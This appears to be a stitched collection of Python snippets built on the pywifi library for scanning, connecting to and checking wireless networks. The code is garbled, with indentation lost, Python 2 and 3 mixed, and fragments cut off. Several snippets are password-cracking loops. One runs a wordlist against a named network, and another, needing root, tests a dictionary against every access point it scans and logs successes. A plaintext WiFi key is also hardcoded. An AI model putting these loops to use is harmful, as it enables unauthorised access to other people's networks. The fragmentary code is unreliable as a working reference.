def test_scan():
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
bsses = iface.scan_results()
for bss in bsses:
print("WIFI名称: %s" % bss.ssid)
def test_interfaces():
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
if ifaces.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
print('无线网卡 %s 已连接！' % ifaces.name())
else:
print('无线网卡 %s 未连接！' % ifaces.name())
def Get_WiFi_Interface_Name():
#creating an object of PyWiFi class
wifiobj = PyWiFi()
wifi_interface_name = -1
wifi_interfaces = []
#getting the list of all the wifi interfaces connected to system
try:
wifi_interfaces = wifiobj.interfaces()
except (FileNotFoundError, PermissionError, Exception) as err:
ErrorName = type(err).__name__
ErrorMsg = str(err)
if ErrorName == "FileNotFoundError": #error when we aren't connected to WiFi
return CONNECTION_ERROR
elif ErrorName == "PermissionError": #error when Permissions aren't given
return PERMISSION_ERROR
else:
for item in wifi_interfaces:
wifi_interface_name = item.name()
#check the wifi interface name start with "wl"
if wifi_interface_name[0:2] == "wl":
break
return wifi_interface_name
def pass2():
with open("D:/2.txt", "r") as f:
for wifi_password in f:
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
time.sleep(1)
info = Profile()
info.ssid = 'ChinaNet-FMNS'
info.auth = const.AUTH_ALG_OPEN
info.akm.append(const.AKM_TYPE_WPA2PSK)
info.cipher = const.CIPHER_TYPE_CCMP
info.key = wifi_password
iface.remove_all_network_profiles()
tmp = iface.add_network_profile(info)
iface.connect(tmp)
time.sleep(3)
if iface.status() == const.IFACE_CONNECTED:
print('成功')
print(wifi_password)
break
else:
print('失败')
print(wifi_password)
def connect(wifi_name, wifi_password, auth_type):
'''Connect WiFi'''
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
time.sleep(1)
profile_info = Profile()
profile_info.ssid = wifi_name
profile_info.auth = const.AUTH_ALG_OPEN
if auth_type == "OPEN":
profile_info.akm.append(const.AKM_TYPE_NONE)
profile_info.cipher = const.CIPHER_TYPE_NONE
else:
profile_info.akm.append(const.AKM_TYPE_WPA2PSK)
profile_info.cipher = const.CIPHER_TYPE_CCMP
profile_info.key = wifi_password
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile_info)
iface.connect(tmp_profile)
time.sleep(1)
if iface.status() == const.IFACE_CONNECTED:
print("WiFi: %s 连接成功" % wifi_name)
return True
else:
print("WiFi: %s 连接失败" % wifi_name)
return False
def test_disconnect():
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
if ifaces.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:
print("无线网卡 %s 未连接！" % ifaces.name())
else:
print("无线网卡 %s 未连接！" % ifaces.name())
def check_state():
wifi = PyWiFi()
iface = wifi.interfaces()[0]
print(iface.status())
if iface.status() == 4:
print('connected')
else:
print('broken')
def __init__(self):
self.wifi = PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.akm = {
'None': const.AKM_TYPE_NONE,
'WPA': const.AKM_TYPE_WPAPSK,
'WPA2': const.AKM_TYPE_WPA2PSK,
}
def disconnect():
'''Disconnect wireless network card'''
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
if ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
print("无线网卡 %s 未连接！" % ifaces.name())
else:
print("无线网卡 %s 已连接！" % ifaces.name())
class Wifi:
wifi = PyWiFi()
def connect(self):
profile = Profile()
profile.ssid = 'BNUZ-Student'
self.wifi.interfaces()[0].connect(profile)
def disconnect(self):
self.wifi.interfaces()[0].disconnect()
def on_StB5_clicked(self):
wifi = PyWiFi()
iface = wifi.interfaces()[0]
self.ui.StE.append("网卡接口为\n" + iface.name())
profile = Profile()
profile.ssid = "LANTT"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = "5607893124"
tep_profile = iface.add_network_profile(profile)
iface.connect(tep_profile)
def check_state():
wifi = PyWiFi()
# 无线网卡
faces = wifi.interfaces()
if not faces:
print("此电脑未安装无线网卡.")
return
# 判断第一个无线网卡的连接状态
print(faces[0].status())
if faces[0].status() == 4:
print("电脑已连接WIFI.")
else:
print("电脑未连接WIFI.")
def LogMessage(self):#注册一个消息
log_strings = ''
if not self.network_status():
IFACE = PyWiFi().interfaces()[0] # 获取第一个无线网卡
time.sleep(1)
if not self.interfaces_status(IFACE):
CONNECTED = self.wifi_connect(IFACE)
if CONNECTED:
log_strings = '连接成功,连接时间为'+time.asctime(
time.localtime(time.time()))+'\n'
else:
log_strings = '网络正常' + \
time.asctime(time.localtime(time.time())) + \
'。每隔 %s 分钟检测一次\n' % self.TIME_INTERVAL
# self.logs(log_strings)
self.log.AppendText(log_strings)
def get_wifi_interface():
wifi = PyWiFi()
if len(wifi.interfaces()) <= 0:
print u'未找到无线网卡接口!'
exit()
if len(wifi.interfaces()) == 1:
print u'无线网卡接口: %s' % (wifi.interfaces()[0].name())
return wifi.interfaces()[0]
else:
print '%-4s %s' % (u'序号', u'网卡接口名称')
for i, w in enumerate(wifi.interfaces()):
print '%-4s %s' % (i, w.name())
while True:
iface_no = raw_input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
no = int(iface_no)
if no >= 0 and no < len(wifi.interfaces()):
return wifi.interfaces()[no]
def get_wireless():
wifi = PyWiFi()
faces = wifi.interfaces()
if not faces:
print("此电脑未安装无线网卡.")
return
# face[0].scan() 扫描附近的无线信号
wireless = faces[0].scan_results()
print(wireless)
for data in wireless:
print("-" * 20)
print(data.ssid) # 无线信号名称
print(AKMS[data.akm[0]]) # 加密方式
print("-" * 20)
def test_scan():
wifi = PyWiFi() # 创建一个无线对象
iface = wifi.interfaces()[0] # 取一个无限网卡
iface.scan() # 扫描s
# (必不可少)这个sleep时间必须有，不知道为啥。
time.sleep(0.5)
wifi_information = {
'ABCD': [-200, 123456789],
'hello_world': [-200, 850898840]
}
result = iface.scan_results()
for i in range(len(result)):
if result[i].ssid in wifi_information.keys():
wifi_information[result[i].ssid] = [
result[i].signal, wifi_information[result[i].ssid][1]
]
# time.sleep(1)
return wifi_information
def test_connect(wifi_name,wifi_password):
wifi = PyWiFi()
iface = wifi.interfaces()[0]
test_disconnect()
time.sleep(3)
profile_info = Profile()
profile_info.ssid = wifi_name
profile_info.auth = const.AUTH_ALG_OPEN
profile_info.akm.append(const.AKM_TYPE_NONE)
profile_info.cipher = const.CIPHER_TYPE_CCMP
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile_info)
iface.connect(tmp_profile)
time.sleep(5)
if iface.status() == const.IFACE_CONNECTED:
print("wifi: %s 连接成功"% wifi_name)
else:
print("wifi: %s 连接失败" % wifi_name)
def get_wifi_interface():
wifi = PyWiFi()
if len(wifi.interfaces()) <= 0:
sys.exit('No wifi inteface found!')
print("=" * 73)
if len(wifi.interfaces()) == 1:
print(O + 'Wifi interface found:' + C + wifi.interfaces()[0].name() +
W)
return wifi.interfaces()[0]
else:
print('%-4s %s' % ('No', 'interface name'))
for i, w in enumerate(wifi.interfaces()):
print('%-4s %s' % (i, w.name()))
while True:
iface_no = input('Please choose interface No:')
no = int(iface_no)
if no >= 0 and no < len(wifi.interfaces()):
return wifi.interfaces()[no]
def main():
try: #捕获异常处理，如果执行脚本不是root，就抛出错误
if os.getuid() != 0:
print("[-] Run me as root")
exit(1)
except Exception as msg:
print(msg)
wifi = PyWiFi() #创建并且选择一张网卡
iface = wifi.interfaces()[0]
print("当前已选择网卡: %s" % iface.name())
print('工具启动，正在扫描可用WIFI……')
wifi_list = scan_ap(iface) #输出一个扫描结果wifi表
print("扫描完成！")
while (1):
print('--------------------------')
print('请选择需要的服务：')
print('1.显示可用WIFI列表')
print('2.再次扫描')
print('3.选择连入WIFI')
print('4.查看当前网卡状态')
print('5.断开当前网卡连接')
print('6.退出程序')
print('--------------------------')
choice = input()
if (choice == '1'):
show_wifi_list(wifi_list)
elif (choice == '2'):
'''再次扫描，得到结果'''
print('正在扫描……')
wifi_list = scan_ap(iface)
print("扫描完成！")
elif (choice == '3'):
connect_ap(iface, wifi_list)
elif (choice == '4'):
interfaces_status(iface)
elif (choice == '5'):
interface_disconnect(iface)
elif (choice == '6'):
exit(0)
def main():
# 扫描时长
scantimes = 3
# 单个密码测试延迟
testtimes = 15
output = sys.stdout
# 结果文件保存路径
files = "TestRes.txt"
# 字典列表 super_keys
file_path = os.path.abspath('../../../test.txt')
print file_path
# 密码编号
pwd_num = 0
with open(file_path, 'r') as f:
for key in f:
if not key:
break
pwd_num = pwd_num + 1
# keys = open(file_path, "r").readlines()
# print"|KEYS %s" % (len(keys))
# 实例化一个pywifi对象
wifi = PyWiFi()
# 选择定一个网卡并赋值于iface
iface = wifi.interfaces()[0]
# 通过iface进行一个时长为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface, scantimes)
# 统计附近被发现的热点数量
nums = len(scanres)
print "|SCAN GET {0}".format(nums)
print "%s\n%-*s|%-*s|%-*s|%-*s|%-*s|%-*s%*s\n%s" % (
"-" * 70, 6, "WIFIID", 18, "SSID OR BSSID", 2, "N", 4, "time", 7,
"signal", 10, "KEYNUM", 10, "KEY", "=" * 70)
# 将每一个热点信息逐一进行测试
for i, x in enumerate(scanres):
# 测试完毕后，成功的结果讲存储到files中
res = test(nums - i, iface, x, pwd_num, key, output, testtimes)
# res = test(nums - i, iface, x, key, output, testtimes)
print res
if res:
open(files, "a").write(res)
def test1(wifi_name, wifi_password):
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
time.sleep(1)
info = Profile()
info.ssid = wifi_name
info.auth = const.AUTH_ALG_OPEN
info.akm.append(const.AKM_TYPE_WPA2PSK)
info.cipher = const.CIPHER_TYPE_CCMP
info.key = wifi_password
iface.remove_all_network_profiles()
tmp = iface.add_network_profile(info)
iface.connect(tmp)
time.sleep(3)
if iface.status() == const.IFACE_CONNECTED:
print('成功')
print(wifi_password)
else:
print('失败')
def connect_wifi(ssid, password):
# function to connect to Wi-Fi with Password
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect() # disconnects from the current Wi-Fi if any
time.sleep(2)
profile = Profile() # adding new Profile for given Wi-Fi
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
print("\nConnecting to WiFi....")
iface.connect(iface.add_network_profile(profile))
time.sleep(5)
if iface.status() == const.IFACE_CONNECTED:
print("\t>> Connected Successfully!")
else:
print("\t>> Failed to Connect!")
def run(self):
try:
wifi = PyWiFi() # 创建一个wifi对象
iface = wifi.interfaces()[0] # 取第一个无限网卡
iface.disconnect() # 断开网卡连接
profile = Profile() # 配置文件
profile.ssid = "Shu(ForAll)" # wifi名称
iface.remove_all_network_profiles() # 删除其他配置文件
tmp_profile = iface.add_network_profile(profile) # 加载配置文件
iface.connect(tmp_profile) # 连接
sleep(1) # 不延时，wifi反应不过来
s0 = "Shu(ForAll) 连接成功\n"
shu = shuConnect(self.user, self.passwd, chose=2)
s = s0 + shu.start_connect()
except:
s = 'macError'
self.signalCon.emit(s)
def connect_wifi(wifi_name, wifi_password):
wifi = PyWiFi() # 创建一个无限对象
ifaces = wifi.interfaces()[0] # 取一个无限网卡
# print(ifaces.name()) # 输出无线网卡名称
ifaces.disconnect() # 断开网卡连接
# time.sleep(1) # 缓冲3秒
profile_info = Profile() # 配置文件
profile_info.ssid = wifi_name # wifi名称
profile_info.auth = const.AUTH_ALG_OPEN # 需要密码
profile_info.akm.append(const.AKM_TYPE_WPA2PSK) # 加密类型
profile_info.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile_info.key = wifi_password
ifaces.remove_all_network_profiles() # 删除其他配置文件
tmp_profile = ifaces.add_network_profile(profile_info) # 加载配置文件
ifaces.connect(tmp_profile) # 连接
time.sleep(2) # (必不可少)尝试2秒能否成功连接
isok = True
if ifaces.status() == const.IFACE_CONNECTED:
print("成功切换连接为wifi: %s" % wifi_name)
else:
print("wifi: %s 连接失败" % wifi_name)
# time.sleep(2)
return isok
import sys
import os
import os.path
import platform
import re
import time
import pywifi
from pywifi import PyWiFi
from pywifi import const
from pywifi import Profile
try:
# wlan
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.scan() #check the card
results = ifaces.scan_results()
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
except:
print("[-] Error system")
type = False
def main(ssid, password):
profile = Profile()
def __init__(self):
self.wifi = PyWiFi() # 创建一个无线对象
self.iface = self.wifi.interfaces()[0] # 获取当前机器第一个无线网卡
def get_wifi_card(face_name):
iface_list = PyWiFi().interfaces()
for interface in iface_list:
if interface.name() == face_name:
return interface
def __init__(self):
self.wifi = PyWiFi() #创建一个无线对象
self.interfaces = self.wifi.interfaces() #获取无线网卡接口
self.iface = self.interfaces[0] #获取第一个无线网卡接口
2412: '1',
2417: '2',
2422: '3',
2427: '4',
2432: '5',
2437: '6',
2442: '7',
2447: '8',
2452: '9',
2457: '10',
2462: '11',
2467: '12',
2472: '13'
}
iface_list = PyWiFi().interfaces()
items = sorted([iface.name() for iface in iface_list])
class Mywindow(QtWidgets.QWidget, Ui_MainWindow):
def __init__(self):
super(Mywindow, self).__init__()
self.setupUi(self)
self.scan_list = list()
self.ScanButton.clicked.connect(self.scan_button_click)
self.LinkButton.clicked.connect(self.link_button_click)
self.DetectButton.clicked.connect(self.detect_button_click)
self.ClearButton.clicked.connect(self.clear_button_click)
self.exit_action.setShortcut('Ctrl+Q')
def iface_choose(face_name):
iface_list = PyWiFi().interfaces()
for interface in iface_list:
if interface.name() == face_name:
return interface
